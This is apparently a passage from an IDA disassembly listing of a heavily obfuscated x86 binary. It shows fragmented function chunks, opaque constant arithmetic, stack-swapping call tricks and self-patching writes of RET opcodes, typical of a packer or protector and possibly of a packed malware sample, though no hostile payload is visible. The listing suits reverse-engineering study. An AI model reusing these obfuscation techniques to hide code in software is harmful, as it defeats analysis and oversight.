; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FF32

loc_43AA6F:				; CODE XREF: kgbikm34:loc_43EBD0j
					; sub_43FF32+56A5j
		push	8C29E77Ch
		pop	eax
		or	eax, 97E81392h
		rol	eax, 3
		sub	eax, 3B34AD26h
		xor	eax, 9E21817Fh
		add	eax, ebp
		jmp	loc_4432FE
; END OF FUNCTION CHUNK	FOR sub_43FF32
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_292. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EAEE

loc_43AA92:				; CODE XREF: sub_43EAEE:loc_43E199j
		jz	loc_4461F5
		xchg	esi, [edi]
		adc	edi, eax
		jmp	loc_4461EF
; END OF FUNCTION CHUNK	FOR sub_43EAEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A1A6

loc_43AAA1:				; CODE XREF: sub_44A1A6:loc_43B0F0j
		call	sub_43ACD5
		mov	eax, 11E35Ch
		call	sub_43BF6F
		mov	ds:dword_41E12C, eax
		lea	eax, nullsub_20
		mov	byte ptr [eax],	0C3h
		jmp	loc_43EBA5
; END OF FUNCTION CHUNK	FOR sub_44A1A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439705

loc_43AAC4:				; CODE XREF: sub_439705+4j
		mov	eax, [esp+0]
		jmp	loc_43744D
; END OF FUNCTION CHUNK	FOR sub_439705
; ---------------------------------------------------------------------------

loc_43AACC:				; CODE XREF: kgbikm34:00443F46j
		mov	ebp, ebx
		jns	loc_446A59
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_43AAD4:				; CODE XREF: sub_44114F:loc_443F23j
		add	ebx, 9EE30DDAh
		push	offset sub_439274
		jmp	loc_440207
; END OF FUNCTION CHUNK	FOR sub_44114F
; ---------------------------------------------------------------------------

loc_43AAE4:				; CODE XREF: kgbikm34:00441916j
		jnb	loc_44D66F
		xor	ebp, ecx
		push	896FDACh
		cdq

loc_43AAF2:				; CODE XREF: kgbikm34:00447C01j
		add	ecx, 4CD3E2A7h
		jmp	loc_44E173
; ---------------------------------------------------------------------------

loc_43AAFD:				; CODE XREF: kgbikm34:00439C5Bj
		jb	loc_4383E5

; =============== S U B	R O U T	I N E =======================================



sub_43AB03	proc near		; CODE XREF: sub_43CD5D+5E1Ep

arg_0		= dword	ptr  4

		xchg	edi, [esp+0]
		pop	edi

loc_43AB07:				; CODE XREF: kgbikm34:0044B06Cj
		add	edx, 205D8BBh
		xchg	edx, [esp-4+arg_0]
		jmp	sub_43ACD5
sub_43AB03	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443DF0

loc_43AB15:				; CODE XREF: sub_443DF0:loc_4457E7j
		xchg	edi, [esp+4+var_4]
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_443DF0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B6B

loc_43AB1D:				; CODE XREF: sub_438B6B:loc_442FA6j
		add	ecx, 791A41D2h
		xor	ecx, 9ED14ACAh
		sub	eax, ecx
		pop	ecx
		mov	edx, [esp+4+var_4]
		jmp	loc_44CE7E
; END OF FUNCTION CHUNK	FOR sub_438B6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4421A1

loc_43AB34:				; CODE XREF: sub_4421A1:loc_445626j
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4421A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D686

loc_43AB38:				; CODE XREF: sub_43D686+60F5j
		jmp	sub_4400C7
; END OF FUNCTION CHUNK	FOR sub_43D686
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DA77

loc_43AB3D:				; CODE XREF: sub_44DA77-142B2j
		jmp	nullsub_263
; END OF FUNCTION CHUNK	FOR sub_44DA77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447193

loc_43AB42:				; CODE XREF: sub_447193-8D27j
					; sub_44B9AD-9491j
		inc	dword ptr [ebp-18h]
		dec	dword ptr [ebp-1Ch]
		jnz	loc_43E146
		jmp	loc_44C6C5
; END OF FUNCTION CHUNK	FOR sub_447193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CECD

loc_43AB53:				; CODE XREF: sub_43CECD+10873j
		jnz	loc_443DE3
		jmp	loc_44675F
; END OF FUNCTION CHUNK	FOR sub_43CECD

; =============== S U B	R O U T	I N E =======================================



sub_43AB5E	proc near		; CODE XREF: kgbikm34:0043CDBCj
					; sub_439034:loc_4441A6p

; FUNCTION CHUNK AT 0044733A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044805B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044C176 SIZE 00000012 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	edx
		call	sub_447B31
		push	5F1B6656h

loc_43AB6D:				; CODE XREF: sub_43E34D:loc_43DD95j
		pop	eax
		rol	eax, 10h
		sub	eax, 3735CD28h
		jmp	loc_44733A
sub_43AB5E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_43AB7C:				; CODE XREF: sub_43D494+6756j
					; kgbikm34:00443C04j
		or	ebx, 588DD710h
		xor	ebx, 33CBE2D7h
		add	ebx, ebp
		add	ebx, 0B0B9CA38h
		mov	ebx, [ebx]
		jmp	loc_43AE31
; END OF FUNCTION CHUNK	FOR sub_43D494

; =============== S U B	R O U T	I N E =======================================



sub_43AB97	proc near		; DATA XREF: sub_43CFC1+98E0o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043E7DC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00442897 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00443B20 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447300 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00448041 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004495CA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C15A SIZE 0000000E BYTES

		sub	eax, ecx
		pop	ecx
		xor	eax, 3646EF14h
		jns	loc_448041
		jmp	loc_43E7DC
sub_43AB97	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C74C

loc_43ABAB:				; CODE XREF: sub_43C74C:loc_43E246j
		or	eax, 0BB2CB563h
		sub	eax, ds:4000FBh
		xor	eax, 0C34CFEB9h
		push	edi
		pushf
		push	0B2A053Fh
		pop	edi
		jmp	loc_44B4C9
; END OF FUNCTION CHUNK	FOR sub_43C74C
; ---------------------------------------------------------------------------

loc_43ABCA:				; CODE XREF: kgbikm34:loc_43C186j
		rol	edx, 18h
		sub	edx, 6007AE74h
		test	edx, 2000000h
		jmp	loc_449C62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445779

loc_43ABDE:				; CODE XREF: sub_445779:loc_4446E6j
		cmp	[ebp+var_1], 0
		jz	loc_441656
		mov	[ebp+var_8], 1
		jmp	loc_448694
; END OF FUNCTION CHUNK	FOR sub_445779

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43ABF4	proc near		; CODE XREF: sub_4396C0j

var_8		= dword	ptr -8
var_1		= byte ptr -1

; FUNCTION CHUNK AT 0043C599 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440FEF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441656 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00443294 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044A753 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_1], al
		cmp	[ebp+var_1], 0
		jmp	loc_440FEF
sub_43ABF4	endp

; ---------------------------------------------------------------------------
		xor	ebp, ecx
		jmp	sub_43FDFD
; ---------------------------------------------------------------------------

loc_43AC0D:				; DATA XREF: kgbikm34:0043A9DDo
		push	edi
		mov	edi, edx
		xchg	edi, [esp]
		call	sub_44BA42
		push	81CB3C35h
		pop	eax
		jmp	loc_4435E1
; ---------------------------------------------------------------------------

locret_43AC23:				; CODE XREF: kgbikm34:0043A556j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_43AC24:				; CODE XREF: sub_449D59-9A2Cj
		jmp	loc_43E54E
; END OF FUNCTION CHUNK	FOR sub_449D59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439274

loc_43AC29:				; CODE XREF: sub_439274+4AB7j
		jb	loc_44ABC5
		push	827314F4h

loc_43AC34:				; CODE XREF: sub_439274:loc_439065j
		push	edx
		push	3EE5A6B9h
		pop	edx
		and	edx, 326E1FFCh
		cmp	edx, 0A1C2CD94h
		jmp	loc_43E24B
; END OF FUNCTION CHUNK	FOR sub_439274
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4433D8

loc_43AC4C:				; CODE XREF: sub_4433D8:loc_44433Ej
		jz	loc_441EC8
		jmp	loc_43B3C2
; END OF FUNCTION CHUNK	FOR sub_4433D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E8DA

loc_43AC57:				; CODE XREF: sub_43E8DA+11j
		jnz	loc_43BCE0
		jmp	loc_43B275
; END OF FUNCTION CHUNK	FOR sub_43E8DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440834

loc_43AC62:				; CODE XREF: sub_440834+8j
		jz	loc_43D871
		jmp	loc_446D1C
; END OF FUNCTION CHUNK	FOR sub_440834

; =============== S U B	R O U T	I N E =======================================



sub_43AC6D	proc near		; CODE XREF: sub_440F78:loc_44566Ap
					; kgbikm34:0044902Fj

arg_0		= dword	ptr  4

		xchg	edi, [esp+0]
		pop	edi
		mov	eax, [esp-4+arg_0]
		call	sub_440F78

loc_43AC79:				; CODE XREF: sub_44B894+9j
		jmp	sub_43A4A3
sub_43AC6D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441E1C

loc_43AC7E:				; CODE XREF: sub_441E1C-3CEEj
		popf
		xchg	ebx, [esp+4+var_4]
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_441E1C
; ---------------------------------------------------------------------------
		mov	ds:off_41E130, eax
		lea	eax, loc_43E1A4
		mov	byte ptr [eax],	0C3h
		jmp	loc_44AD3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_43AC9B:				; CODE XREF: sub_43D494:loc_44768Ej
		push	offset loc_43A638
		jmp	loc_43A5CD
; END OF FUNCTION CHUNK	FOR sub_43D494

; =============== S U B	R O U T	I N E =======================================



sub_43ACA5	proc near		; DATA XREF: sub_43D373:loc_43D374o

; FUNCTION CHUNK AT 00438F06 SIZE 00000017 BYTES

		call	sub_43F3F8
		mov	eax, 4AC5B528h
		push	ecx
		push	50DCA4CBh
		pop	ecx
		jmp	loc_438F06
sub_43ACA5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_43ACBB:				; CODE XREF: sub_439587:loc_441A6Fj
		jge	loc_449B91
; END OF FUNCTION CHUNK	FOR sub_439587
; START	OF FUNCTION CHUNK FOR sub_44772C

loc_43ACC1:				; CODE XREF: sub_44772C-AB3Aj
		jmp	sub_43B958
; END OF FUNCTION CHUNK	FOR sub_44772C
; ---------------------------------------------------------------------------
		jb	loc_43A8E8
		xor	ebp, edi
		jmp	loc_449B8B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FF32

loc_43ACD3:				; CODE XREF: sub_43FF32+BBE6j
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_43FF32

; =============== S U B	R O U T	I N E =======================================



sub_43ACD5	proc near		; CODE XREF: sub_437A6A+Ep
					; kgbikm34:loc_439E82p	...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043847A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00438A45 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A0BC SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043B3BD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C19B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C87D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0043CE10 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E75C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043E7C0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E99D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00441B57 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443F04 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0044522C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00445F4C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004467E0 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00446B48 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00447869 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004480C8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B5E0 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0044B7E6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044BB71 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044E22D SIZE 00000016 BYTES

		push	ecx
		mov	ecx, ebp
		jmp	loc_438A45
sub_43ACD5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A1A6

loc_43ACDD:				; CODE XREF: sub_44A1A6-45E0j
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_72
; END OF FUNCTION CHUNK	FOR sub_44A1A6
; ---------------------------------------------------------------------------
		push	offset sub_438E2A
		jmp	locret_448B8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF5B

loc_43ACEF:				; CODE XREF: sub_43DF5B:loc_43B8D7j
		push	21FC1AAEh
		pop	edx
		sub	edx, ds:4000F8h
		rol	edx, 0Fh
		sub	edx, 900D51A1h
		and	edx, ds:4000FBh
		add	edx, 0CCC81C73h
		jmp	loc_44A246
; END OF FUNCTION CHUNK	FOR sub_43DF5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_43AD15:				; CODE XREF: sub_439BDE+129D4j
		jz	loc_44942C
		jmp	loc_440FB7
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F8EE

loc_43AD20:				; CODE XREF: sub_43F8EE+6j
		call	sub_44D71B

loc_43AD25:				; CODE XREF: sub_43B61A+Cj
		jmp	nullsub_38
; END OF FUNCTION CHUNK	FOR sub_43F8EE
; ---------------------------------------------------------------------------

loc_43AD2A:				; CODE XREF: kgbikm34:loc_43E808j
		or	eax, eax
		jnz	loc_43CE0A
		jmp	loc_43ED61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441B24

loc_43AD37:				; CODE XREF: sub_441B24+7975j
		mov	edi, ebx
		xchg	edi, [esp+0]
		push	66A1811Eh
		pop	ebx
; END OF FUNCTION CHUNK	FOR sub_441B24
; START	OF FUNCTION CHUNK FOR sub_43B1D6

loc_43AD42:				; CODE XREF: sub_43B1D6:loc_444393j
		jmp	loc_43C157
; END OF FUNCTION CHUNK	FOR sub_43B1D6
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D045

loc_43AD48:				; CODE XREF: sub_43D045+ABEBj
		jmp	loc_44B732
; END OF FUNCTION CHUNK	FOR sub_43D045
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_43AD4D:				; CODE XREF: sub_449D59-9599j
		jmp	loc_449CD1
; END OF FUNCTION CHUNK	FOR sub_449D59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_43AD52:				; CODE XREF: sub_439587+B938j
		push	ecx
		push	3DFA4C04h
		pop	ecx
		add	ecx, 0D34D5B91h
		rol	ecx, 1
		add	ecx, 0DDB557DAh
		jmp	loc_43DDE5
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D78

loc_43AD6C:				; CODE XREF: sub_449D78:loc_4494DDj
		jge	loc_442ABB
		popf
		mov	[edi], eax
		add	ebp, 31F0925Fh
		jmp	loc_44446A
; END OF FUNCTION CHUNK	FOR sub_449D78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F145

loc_43AD80:				; CODE XREF: sub_43F145+15j
		test	edi, 7EE2CF79h
		jmp	loc_443B7A
; END OF FUNCTION CHUNK	FOR sub_43F145
; ---------------------------------------------------------------------------
		mov	ds:dword_41E0E8, eax
		lea	eax, nullsub_21
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_21

; =============== S U B	R O U T	I N E =======================================



sub_43AD9F	proc near		; CODE XREF: sub_401000+E1p
					; sub_404954+56p ...

; FUNCTION CHUNK AT 004388A8 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 004393AD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004394CA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043B909 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DDB7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004409B1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440A27 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00442827 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044296F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004448A7 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00444B46 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445005 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00445738 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044747E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C14A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044CCA0 SIZE 0000000A BYTES

		js	loc_442827
		mov	eax, ds:dword_4372DC
		jmp	loc_44CCA5
sub_43AD9F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4372E5

loc_43ADB0:				; CODE XREF: sub_4372E5+165A3j
		pop	ecx
		call	sub_4395CD

loc_43ADB6:				; CODE XREF: kgbikm34:00444C32j
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_4372E5
; ---------------------------------------------------------------------------
		pushf
		jmp	loc_446631
; ---------------------------------------------------------------------------

loc_43ADC1:				; DATA XREF: kgbikm34:loc_446D93o
		add	edx, 0E782C5DEh
		xchg	edx, [esp]
		jmp	loc_44102D
; ---------------------------------------------------------------------------
		mov	ds:off_41E048, eax
		lea	eax, loc_43CDE9
		mov	byte ptr [eax],	0C3h
		jmp	loc_43CDE9
; ---------------------------------------------------------------------------

loc_43ADE3:				; CODE XREF: kgbikm34:0044CBCBj
		cmp	ebx, 0C4C03D3Dh
		jmp	loc_43A196
; ---------------------------------------------------------------------------

loc_43ADEE:				; CODE XREF: kgbikm34:00439A29j
		xchg	edx, [esp]
		pop	edx
		pop	edx
		jnz	loc_44690B
		mov	eax, [esp]
		jmp	loc_44AFD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A2E

loc_43AE01:				; CODE XREF: sub_439A2E+FED2j
		jnz	nullsub_78

loc_43AE07:				; CODE XREF: sub_439A2E:loc_44161Fj
		push	eax
		push	0C3755A7Ah
		pop	eax
		xor	eax, 5908893Ch
		or	eax, 0EFA050F5h
		xor	eax, 0DD630A35h
		add	eax, 0DDA4FBCCh
		jmp	loc_43C417
; END OF FUNCTION CHUNK	FOR sub_439A2E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_264. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449A78

loc_43AE2C:				; CODE XREF: sub_449A78+7j
		jmp	nullsub_12
; END OF FUNCTION CHUNK	FOR sub_449A78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_43AE31:				; CODE XREF: sub_43D494-2902j
		jmp	loc_43918D
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------

loc_43AE36:				; CODE XREF: kgbikm34:00442D8Bj
		and	edi, 0C363A11Eh
		jmp	loc_44C9E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492B9

loc_43AE41:				; CODE XREF: sub_4492B9-83Bj
		pop	eax
		or	eax, 0D535195Eh
		and	eax, 75ACD25Bh
		rol	eax, 6
		jmp	loc_44D769
; END OF FUNCTION CHUNK	FOR sub_4492B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF5B

loc_43AE56:				; CODE XREF: sub_43DF5B-12F9j
		jbe	loc_4491F9
		adc	ebp, 0DBAEDD80h
		xor	ecx, 0EF0FBF64h
		sbb	edx, 0D4C7090Ah
		pushf

loc_43AE6F:				; CODE XREF: sub_43DF5B-439Ej
					; sub_440E0B-7055j ...
		jmp	loc_43ECB4
; END OF FUNCTION CHUNK	FOR sub_43DF5B
; ---------------------------------------------------------------------------
		jmp	loc_44B204
; ---------------------------------------------------------------------------

loc_43AE79:				; CODE XREF: kgbikm34:0044CE1Bj
		cdq
		adc	eax, 8B1C263Ch
; START	OF FUNCTION CHUNK FOR sub_44DC12

loc_43AE80:				; CODE XREF: sub_44DC12:loc_44CE0Aj
		or	eax, 6F96ADD9h
		and	eax, 3826A91h
		xor	eax, 0A29D2FCBh
		jmp	loc_44A853
; END OF FUNCTION CHUNK	FOR sub_44DC12
; ---------------------------------------------------------------------------

loc_43AE97:				; CODE XREF: kgbikm34:loc_43790Fj
		pop	eax
		and	eax, 0CDD11020h
		sub	eax, 0EAA09E84h
		add	eax, 0C54D2D3h
		jmp	loc_44815B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D642

loc_43AEAF:				; CODE XREF: sub_43D642:loc_4416F5j
		adc	eax, ebx
		mov	edi, 79AC92ABh
		jmp	loc_44B43D
; END OF FUNCTION CHUNK	FOR sub_43D642
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442F09

loc_43AEBB:				; CODE XREF: sub_449E48-118C8j
					; kgbikm34:loc_440CACj	...
		pop	edx
		jnz	loc_442F1C
		mov	eax, [esp-4+arg_0]
		push	edx
		jmp	loc_446B37
; END OF FUNCTION CHUNK	FOR sub_442F09

; =============== S U B	R O U T	I N E =======================================



sub_43AECB	proc near		; DATA XREF: kgbikm34:0043B722o

; FUNCTION CHUNK AT 0043AFC6 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043FCF6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004437A1 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00443BA8 SIZE 00000011 BYTES

		push	0FFFF5027h
		pop	edx
		and	edx, 0A0D8B941h
		add	edx, 803FC22Ah
		xor	edx, 84D7D2F5h
		jnz	loc_43AFC6
sub_43AECB	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4478CD

loc_43AEE9:				; CODE XREF: sub_4478CD+A8Cj
		jmp	loc_44A4C4
; END OF FUNCTION CHUNK	FOR sub_4478CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BBC0

loc_43AEEE:				; CODE XREF: sub_44BBC0-C12Aj
		jmp	locret_43DC6D
; END OF FUNCTION CHUNK	FOR sub_44BBC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B6F1

loc_43AEF3:				; CODE XREF: sub_44B6F1-C90Cj
		jmp	loc_43CA6F
; END OF FUNCTION CHUNK	FOR sub_44B6F1
; ---------------------------------------------------------------------------
		mov	esi, 4ECF48CCh
		mov	ebx, [eax]
		jmp	loc_43AFC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6C7

loc_43AF04:				; CODE XREF: sub_43A6C7+A8C7j
		jle	loc_439A42
		rol	edi, 1Ah
		push	ebx

loc_43AF0E:				; CODE XREF: sub_43A6C7:loc_44A48Dj
		call	sub_44A9D8
		push	0D2E0A436h
		pop	edx
		xor	edx, 0C0726E8Ah
		or	edx, 20AB7D90h
		jmp	loc_441578
; END OF FUNCTION CHUNK	FOR sub_43A6C7
; ---------------------------------------------------------------------------

loc_43AF2A:				; CODE XREF: kgbikm34:0043DFD2j
		sbb	eax, ebp

; =============== S U B	R O U T	I N E =======================================



sub_43AF2C	proc near		; CODE XREF: kgbikm34:0043D195p

; FUNCTION CHUNK AT 0043930B SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	byte ptr [eax],	0C3h
		jmp	loc_43930B
sub_43AF2C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43AF38	proc near		; CODE XREF: sub_40D222+BEp
					; sub_40EB6F+D9p ...

; FUNCTION CHUNK AT 0043F5F2 SIZE 00000005 BYTES

		push	offset loc_446F35
		jmp	loc_43F5F2
sub_43AF38	endp

; ---------------------------------------------------------------------------

loc_43AF42:				; CODE XREF: kgbikm34:0043BB7Aj
		mov	ebp, [eax]
; START	OF FUNCTION CHUNK FOR sub_4441EB

loc_43AF44:				; CODE XREF: sub_4441EB:loc_449377j
		add	esi, 0DFED044Dh
		xchg	esi, [esp+0]
		jmp	sub_4487F2
; END OF FUNCTION CHUNK	FOR sub_4441EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443A72

loc_43AF52:				; CODE XREF: sub_443A72+13j
		and	ebx, 31B56390h
		rol	ebx, 1Ah
		add	ebx, 0FFBFD20Dh
		xchg	ebx, [esp+0]
		jmp	loc_4407F8
; END OF FUNCTION CHUNK	FOR sub_443A72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443681

loc_43AF69:				; CODE XREF: sub_443681:loc_44D35Bj
		push	0E74B5012h
		pop	ecx
		rol	ecx, 0Fh
		xor	ecx, 9168E6EEh
		jmp	loc_44532C
; END OF FUNCTION CHUNK	FOR sub_443681
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442401

loc_43AF7D:				; CODE XREF: sub_442401-4346j
		jb	loc_443FA2

loc_43AF83:				; CODE XREF: kgbikm34:0043A9D5j
		jmp	nullsub_320
; END OF FUNCTION CHUNK	FOR sub_442401
; ---------------------------------------------------------------------------
		cmp	ebx, esi
		jmp	loc_44B8F7

; =============== S U B	R O U T	I N E =======================================



sub_43AF8F	proc near		; CODE XREF: sub_447B31+5083j

; FUNCTION CHUNK AT 0044BA39 SIZE 00000001 BYTES

		push	ebp
		jmp	loc_44BA39
sub_43AF8F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43AF95	proc near		; DATA XREF: sub_448291-AAA1o

; FUNCTION CHUNK AT 0043D8EB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441E7F SIZE 0000000A BYTES

		mov	byte ptr [eax],	0
		inc	dword ptr [ebp-1Ch]
		jmp	loc_43D8EB
sub_43AF95	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448291

loc_43AFA0:				; CODE XREF: sub_448291-37Ej
		inc	dword ptr [ebp-1Ch]
		jmp	loc_43E812
; END OF FUNCTION CHUNK	FOR sub_448291
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DB6E

loc_43AFA8:				; CODE XREF: kgbikm34:00447887j
					; sub_44DB6E+3j
		inc	dword ptr [ebp-18h]
		dec	dword ptr [ebp-24h]
		jmp	loc_44D69D
; END OF FUNCTION CHUNK	FOR sub_44DB6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439034

loc_43AFB3:				; CODE XREF: sub_439034:loc_43B2FDj
		call	sub_43BF6F
		push	edi
		push	1633A9E9h
		and	edi, esi
		jmp	loc_44C5CB
; END OF FUNCTION CHUNK	FOR sub_439034
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_271. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AECB

loc_43AFC6:				; CODE XREF: sub_43AECB+18j
					; kgbikm34:0043AEFFj
		sub	edx, 0E9314D5Fh
		xor	edx, 770EF94Fh
		push	ebx
		pushf
		jmp	loc_43FCF6
; END OF FUNCTION CHUNK	FOR sub_43AECB
; ---------------------------------------------------------------------------

loc_43AFD9:				; CODE XREF: kgbikm34:0044D0FAj
		push	offset loc_44DDA6
; START	OF FUNCTION CHUNK FOR sub_437613

loc_43AFDE:				; CODE XREF: sub_437613:loc_43DFF5j
		jmp	loc_43ED50
; END OF FUNCTION CHUNK	FOR sub_437613
; ---------------------------------------------------------------------------
		jmp	ds:off_41E110
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F524

loc_43AFE9:				; CODE XREF: sub_43F524+53EAj
		jmp	loc_441C95
; END OF FUNCTION CHUNK	FOR sub_43F524
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439852

